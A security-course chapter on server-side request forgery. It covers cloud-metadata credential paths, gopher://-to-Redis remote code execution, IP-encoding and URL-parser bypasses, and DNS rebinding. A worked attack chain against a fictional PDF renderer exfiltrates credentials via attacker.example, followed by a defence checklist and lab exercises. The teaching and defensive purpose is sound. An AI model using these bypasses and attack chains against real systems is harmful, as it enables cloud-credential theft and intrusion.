Chapter 33 — SSRF mastery
In one sentence
G1 covered SSRF basics; mastery is the exploitation depth — cloud-metadata chains, protocol smuggling to RCE, the full menu of filter bypasses including DNS rebinding — and the one defence that actually holds: resolve, validate every resulting IP, then connect to that pinned IP with no redirects.
Where we are
You know SSRF is "make the server fetch attacker-chosen URLs" and the naive defences fail (G1 Ch 44). This chapter is what a determined attacker does with it and how to build a fetcher that can't be abused.
How it works
Cloud metadata (the highest-value target):
AWS http://169.254.169.254/latest/meta-data/iam/security-credentials/
<role> -> temp creds.
IMDSv1: plain GET -> naive SSRF works.
IMDSv2: needs a PUT to /latest/api/token with a header, then a
GET with the token header -> naive SSRF (URL only, no header
control, no PUT) is BLOCKED. But: SSRF where you control the
method+headers, an HTTP-proxy SSRF, or gopher:// still work; and
hop-limit>1 lets a container reach it.
GCP http://metadata.google.internal/computeMetadata/v1/instance/
service-accounts/default/token -- requires header
`Metadata-Flavor: Google` -> needs header control.
Azure http://169.254.169.254/metadata/identity/oauth2/token?...&resource=
https://management.azure.com/ -- requires header `Metadata: true`.
Also: Alibaba, DigitalOcean, Oracle, Hetzner variants; Kubernetes API
(https://kubernetes.default), kubelet :10250, etcd, internal admin
panels, Spring Boot /actuator, Consul, Docker API, Elasticsearch,
Redis, Jenkins.
Protocol smuggling (SSRF -> RCE):
gopher:// craft raw bytes to any TCP service:
- Redis: `gopher://127.0.0.1:6379/_SET%20...` -> write a cron job,
load a malicious module, or dump an RDB webshell -> RCE.
- internal HTTP: send a full POST with headers/body to an internal
API that trusts the network.
- SMTP: send mail from the server; FastCGI/PHP-FPM -> RCE;
memcached, MySQL (limited), LDAP.
dict:// probe services, leak banners.
file:// local file read (if the client follows it).
Java: jar://, netdoc://, and http(s) with automatic redirect following.
PHP: php://, phar:// (deserialization, Ch 37).
Filter bypasses:
IP ENCODINGS of 127.0.0.1: 2130706433 (decimal), 0x7f000001 (hex),
0177.0.0.1 (octal), 127.1, 127.0.1, 0, [::1], [::ffff:127.0.0.1],
[0:0:0:0:0:ffff:7f00:1], mixed (0x7f.1).
OF 169.254.169.254: 0xa9fea9fe, 2852039166, 025177524776, etc.
HOSTNAME TRICKS: http://localtest.me, *.nip.io / *.sslip.io (wildcard
DNS -> any IP incl. 127.0.0.1), a domain you control with an A record
pointing internal, http://spoofed.attacker.com (A -> 169.254.169.254).
URL PARSER CONFUSION: http://allowed.com@evil.com/,
http://evil.com#allowed.com, http://evil.com\@allowed.com,
http://allowed.com%2f..%2f@evil.com, missing scheme, `//host`,
uppercase, trailing dot `allowed.com.`, extra `:` , CRLF in the URL
-> header injection in the outbound request.
OPEN REDIRECT CHAIN: SSRF fetches an ALLOWED url that 302s to
http://169.254.169.254/... -- if redirects aren't re-validated.
DNS REBINDING (the important one): attacker DNS returns an ALLOWED IP
for the validation lookup, then 127.0.0.1 / 169.254.169.254 for the
connection lookup (TTL 0). TOCTOU between "validate the hostname" and
"connect". Defeats any check that resolves twice.
Blind SSRF exploitation: use an OAST/collaborator server, timing, and error differentials. Even blind, you can: confirm internal hosts/ports (timing), hit state-changing internal endpoints, trigger internal webhooks, and exfil via a redirect-to-your-server or DNS.
Second-order / stored SSRF: a URL saved now (a profile "website", a webhook target, an avatar URL, an SSO metadata URL) and fetched later by a backend job running in a more privileged network position.
The defence that holds:
[ ] Don't build a URL fetcher unless you must. If you do:
[ ] ALLOWLIST destination hosts AND schemes (https only). Deny by
default.
[ ] Resolve the hostname YOURSELF. Get ALL A/AAAA records. Reject if
ANY resolved IP is in: loopback, RFC1918, link-local
(169.254.0.0/16, fe80::/10), CGNAT (100.64/10), multicast,
0.0.0.0/8, ::/128, IPv4-mapped IPv6, your own cloud/VPC ranges,
the metadata IP.
[ ] Then CONNECT TO THAT VALIDATED IP DIRECTLY, setting the Host header
to the intended hostname -> the connection can't be rebound
between validate and connect.
[ ] Disable redirects, or re-run the full validation on every hop.
[ ] Disable non-HTTP(S) schemes at the HTTP client level.
[ ] Run the fetcher in an ISOLATED subnet: no cloud role attached,
egress default-deny + FQDN allowlist, can't reach RFC1918 or the
metadata endpoint at the NETWORK layer (belt and braces).
[ ] IMDSv2 + hop-limit 1 on every instance.
[ ] Timeouts, response size caps, no raw response/error passthrough to
the user.
Libraries that do most of this: `ssrf-filter` (Node), `advocate`
(Python), Go's `net.Dialer.Control` hook to reject bad IPs; still add
the network isolation.
Worked example
Turning a PDF-generator SSRF into cloud creds despite IMDSv2.
SecureShop generates invoice PDFs from an HTML template that can
include `<img src>`. The renderer (headless Chrome / wkhtmltopdf)
fetches image URLs server-side. `src` is partly tenant-controlled
(a logo URL).
ATTACK:
1. Direct `src=http://169.254.169.254/...` -> IMDSv2, no token PUT
from an <img> fetch -> blocked. Good... but:
2. The renderer runs in a POD on a node with hop-limit 2 (someone
bumped it for a sidecar). And the renderer follows redirects and
sets no special headers we need.
3. `src=http://attacker.example/logo.png` -> attacker returns
`301 -> http://169.254.169.254/latest/api/token` ... still needs
a PUT.
4. So instead: the renderer also processes `<iframe>` / fetches CSS
`@import`, and one of those code paths uses a client that DOES
forward a method override, OR the app exposes a separate
"preview by URL" admin tool with full header control. Via that:
PUT the token, GET the creds, exfil over a redirect to
attacker.example.
5. Node role creds -> `s3:GetObject` on an over-broad bucket ->
cross-tenant invoices (the Part 2 chain).
FIX (defence in depth, any one breaks it):
- Renderer runs in a pod on a node with hop-limit 1; NetworkPolicy
denies egress to 169.254.169.254/32 and all RFC1918.
- The image fetcher: allowlist of image hosts (the tenant's CDN),
https only, resolve+validate IPs, no redirects, 2s timeout, 2MB
cap.
- The renderer process: `--host-resolver-rules` / a proxy that only
reaches the allowlisted hosts; no `file://`; disable remote fonts/
CSS imports if not needed.
- The node/pod has no cloud role that can read tenant data (workload
identity scoped, Part 4 Ch 20); IMDSv2 required.
Practice (75 min)
- PortSwigger Academy "SSRF" track: basic, against another back-end system,
with blacklist/whitelist filter bypasses, via open redirect, blind SSRF with
out-of-band detection, SSRF via the
Refererheader. - Locally: a fetch endpoint with a naive denylist. Bypass it with decimal IP,
@,#, an open redirect, and DNS rebinding (run a rebinding DNS server —rbndr,singularity, or a tiny custom one with TTL 0). - gopher -> Redis -> RCE in a lab (a vulnerable app + a local Redis) — write a
webshell via
gopher://. - Cloud: in your sandbox, an app with IMDSv1 on and an SSRF; steal the role creds. Then enforce IMDSv2 + hop-limit-1 + a NetworkPolicy egress deny and confirm the same SSRF is now inert.
- Build a safe fetcher: allowlist + resolve + validate-all-IPs + connect-to-pinned-IP + no-redirects + isolated subnet. Attack it with every bypass from the chapter; document that each fails.
Across the series
- An SSRF-safe client in Go that checks the dialled IP after DNS resolution and on every redirect. It blocked all five bypasses (IPv4-mapped IPv6,
0.0.0.0, a public name resolving to localhost, an encoded redirect to169.254.169.254) where a string check let four through: HTTPS guide, Chapter 22.
Common mistakes
- Denylisting
localhost/127.0.0.1. Dozens of encodings and IPv6 forms bypass it. Allowlist destinations; validate resolved IPs against deny ranges. - Validating the hostname, then letting the HTTP client resolve again. DNS rebinding. Resolve once, validate, connect to that IP.
- Following redirects. The allowed URL 302s internal. Disable or re-validate every hop.
- Allowing
gopher://,file://,dict://. Restrict the client to http/https. - Relying only on IMDSv2. It stops the naive
<img src>case; a fuller SSRF, a proxy SSRF, or hop-limit>1 still reaches it. Add network isolation and a scoped workload role. - A fetcher with a cloud role and open egress. That's the loot and the exit. Isolate it.
- Ignoring second-order SSRF. Stored URLs fetched later by privileged jobs. Validate at fetch time, in that context.
Check yourself
- Why does IMDSv2 stop some SSRF but not all? Give two cases where SSRF still reaches metadata.
- How does a gopher:// SSRF against Redis become RCE?
- Explain DNS rebinding and why "validate hostname then connect" fails.
- What is the "resolve, validate all IPs, connect to the pinned IP" pattern and what does each step prevent?
- Name three network-layer controls that contain SSRF even if the app-layer check is bypassed.
- What is second-order SSRF?
Further reading
- Talks: Orange Tsai — "A New Era of SSRF" (BlackHat/DEF CON 2017) — protocol smuggling and URL-parser confusion, essential. "SSRF bible" cheat sheet.
- Cheat sheet: OWASP "Server-Side Request Forgery Prevention Cheat Sheet"; the PayloadsAllTheThings SSRF list.
- Labs: PortSwigger Academy SSRF track.
- Tools:
singularity/rbndr(DNS rebinding),gopherus(gopher payload generator),SSRFmap, Burp Collaborator;ssrf-filter/advocate(safe-fetch libs). - Post-mortem: Capital One (2019) — re-read with this depth; the many IMDSv1-SSRF cloud incidents.